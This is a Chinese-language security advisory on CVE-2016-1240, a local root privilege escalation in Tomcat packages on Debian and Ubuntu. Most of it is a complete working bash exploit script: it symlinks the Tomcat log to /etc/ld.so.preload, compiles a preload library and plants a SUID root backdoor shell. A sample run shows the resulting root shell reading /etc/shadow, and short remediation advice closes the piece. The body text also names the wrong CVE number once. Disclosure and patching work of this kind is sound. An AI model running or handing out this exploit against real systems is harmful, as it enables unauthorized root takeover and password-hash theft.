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Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器，按照Sun Microsystems提供的技术规范，实现了对Servlet和JavaServer Page（JSP）的支持，并提供了作为Web服务器的一些特有功能，如Tomcat管理和控制平台、安全域管理和Tomcat阀等。
10月1日,Tomcat爆出了一个本地提权漏洞。通过该漏洞,攻击者可以通过一个低权限的Tomcat用户获得系统的root权限。
漏洞相关信息：
CVE ID:
CVE-2016-1240
影响范围：
Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1
受影响的系统包括Debian、Ubuntu，其他使用相应deb包的系统也可能受到影响。
漏洞描述：
Debian系统的linux上管理员通常利用apt-get进行包管理，CVE-2016-4438这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本：/etc/init.d/tocat* 利用该脚本，可导致攻击者通过低权限的Tomcat用户获得系统root权限！
# Run the catalina.sh script as a daemon
set +e
touch “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out
chown $TOMCAT7_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out
本地攻击者，作为tomcat用户（比如说，通过web应用的漏洞）若将catalina.out修改为指向任意系统文件的链接，一旦Tomcat init脚本（ROOT权限运行）在服务重启后再次打开catalina.out文件，攻击者就可获取ROOT权限。
漏洞PoC： #!/bin/bash
#
# Tomcat 6/7/8 on Debian-based distros – Local Root Privilege Escalation Exploit
#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
# This exploit targets Tomcat (versions 6, 7 and 8) packaging on
# Debian-based distros including Debian, Ubuntu etc.
# It allows attackers with a tomcat shell (e.g. obtained remotely through a
# vulnerable java webapp, or locally via weak permissions on webapps in the
# Tomcat webroot directories etc.) to escalate their privileges to root.
#
# Usage:
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
#
# The exploit can used in two ways:
#
# -active (assumed by default) – which waits for a Tomcat restart in a loop and instantly
# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted.
# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
#
# -deferred (requires the -deferred switch on argv[2]) – this mode symlinks the logfile to
# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting.
# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a
# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
# then add arbitrary commands to the file which will be executed with root privileges by
# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default
# Ubuntu/Debian Tomcat installations).
#
# See full advisory for details at:
# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH=”/bin/bash”
BACKDOORPATH=”/tmp/tomcatrootsh”
PRIVESCLIB=”/tmp/privesclib.so”
PRIVESCSRC=”/tmp/privesclib.c”
SUIDBIN=”/usr/bin/sudo”
function cleanexit {
# Cleanup
echo -e “\n[+] Cleaning up…”
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $TOMCATLOG
touch $TOMCATLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload 2>/dev/null
fi
echo -e “\n[+] Job done. Exiting with code $1 \n”
exit $1
}
function ctrl_c() {
echo -e “\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation.”
cleanexit 0
}
#intro
echo -e “\033[94m \nTomcat 6/7/8 on Debian-based distros – Local Root Privilege Escalation Exploit\nCVE-2016-1240\n”
echo -e “Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m”
# Args
if [ $# -lt 1 ]; then
echo -e “\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n”
exit 3
fi
if [ “$2″ = “-deferred” ]; then
mode=”deferred”
else
mode=”active”
fi
# Priv check
echo -e “\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`”
id | grep -q tomcat
if [ $? -ne 0 ]; then
echo -e “\n[!] You need to execute the exploit as tomcat user! Exiting.\n”
exit 3
fi
# Set target paths
TOMCATLOG=”$1″
if [ ! -f $TOMCATLOG ]; then
echo -e “\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn’t exist. Try again.\n”
exit 3
fi
echo -e “\n[+] Target Tomcat log file set to $TOMCATLOG”
# [ Deferred exploitation ]
# Symlink the log file to /etc/default/locale file which gets executed daily on default
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
# restarted and file owner gets changed.
if [ “$mode” = “deferred” ]; then
rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
if [ $? -ne 0 ]; then
echo -e “\n[!] Couldn’t remove the $TOMCATLOG file or create a symlink.”
cleanexit 3
fi
echo -e”\n[+] Symlink created at: \n`ls -l $TOMCATLOG`”
echo -e”\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`”
echo -ne “\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot”
echo -ne “\n you’ll be able to add arbitrary commands to the file which will get executed with root privileges”
echo -ne “\n at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can’t wait 😉
\n\n”
exit 0
fi
# [ Active exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e “\n[+] Compiling the privesc shared library ($PRIVESCSRC)”
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
static uid_t(*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, “geteuid”);
if ( old_geteuid() == 0 ) {
chown(“$BACKDOORPATH”, 0, 0);
chmod(“$BACKDOORPATH”, 04777);
unlink(“/etc/ld.so.preload”);
}
return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
echo -e “\n[!] Failed to compile the privesc lib $PRIVESCSRC.”
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e “\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`”
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e “\n[!] /etc/ld.so.preload already exists. Exiting for safety.”
cleanexit 2
fi
# Symlink the log file to ld.so.preload
rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
echo -e “\n[!] Couldn’t remove the $TOMCATLOG file or create a symlink.”
cleanexit 3
fi
echo -e “\n[+] Symlink created at: \n`ls -l $TOMCATLOG`”
# Wait for Tomcat to re-open the logs
echo -ne “\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart…”
echo -e”\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed 😉
”
while :; do
sleep 0.1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
break;
fi
done
# /etc/ld.so.preload file should be owned by tomcat user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e “\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`”
echo -e “\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload”
echo -e “\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`”
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e “\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!”
sudo –help 2>/dev/null >/dev/null
# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e “\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`”
echo -e “\n\033[94mPlease tell me you’re seeing this too 😉
\033[0m”
else
echo -e “\n[!] Failed to get root”
cleanexit 2
fi
# Execute the rootshell
echo -e “\n[+] Executing the rootshell $BACKDOORPATH now! \n”
$BACKDOORPATH -p -c “rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB”
$BACKDOORPATH -p
# Job done.
cleanexit 0 Poc运行示例： tomcat7@ubuntu:/tmp$ id
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)
tomcat7@ubuntu:/tmp$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04 LTS
Release: 16.04
Codename: xenial
tomcat7@ubuntu:/tmp$ dpkg -l | grep tomcat
iilibtomcat7-java 7.0.68-1ubuntu0.1 all Servlet and JSP engine — core libraries
iitomcat7 7.0.68-1ubuntu0.1 all Servlet and JSP engine
iitomcat7-common 7.0.68-1ubuntu0.1 all Servlet and JSP engine — common files
tomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out
Tomcat 6/7/8 on Debian-based distros – Local Root Privilege Escalation Exploit
CVE-2016-1240
Discovered and coded by:
Dawid Golunski
http://legalhackers.com
[+] Starting the exploit in [active] mode with the following privileges:
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)
[+] Target Tomcat log file set to /var/log/tomcat7/catalina.out
[+] Compiling the privesc shared library (/tmp/privesclib.c)
[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh
[+] Symlink created at:
lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload
[+] Waiting for Tomcat to re-open the logs/Tomcat service restart…
You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed 😉
[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges:
-rw-r–r– 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so
[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh
Please tell me you’re seeing this too 😉
[+] Executing the rootshell /tmp/tomcatrootsh now!
tomcatrootsh-4.3# id
uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)
tomcatrootsh-4.3# whoami
root
tomcatrootsh-4.3# head -n3 /etc/shadow
root:$6$oaf[cut]:16912:0:99999:7:::
daemon:*:16912:0:99999:7:::
bin:*:16912:0:99999:7:::
tomcatrootsh-4.3# exit
应急修复方案：
1.临时修复建议
如对更新包风险的考虑,可先更改Tomcat的启动脚本为 chown -h $TOMCAT6_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out
加入 – h参数防止其他文件所有者被更改。
2. 更新最新Tomcat包
更新至系统提供的最新版Tomcat包即可。
稿源：孝道科技
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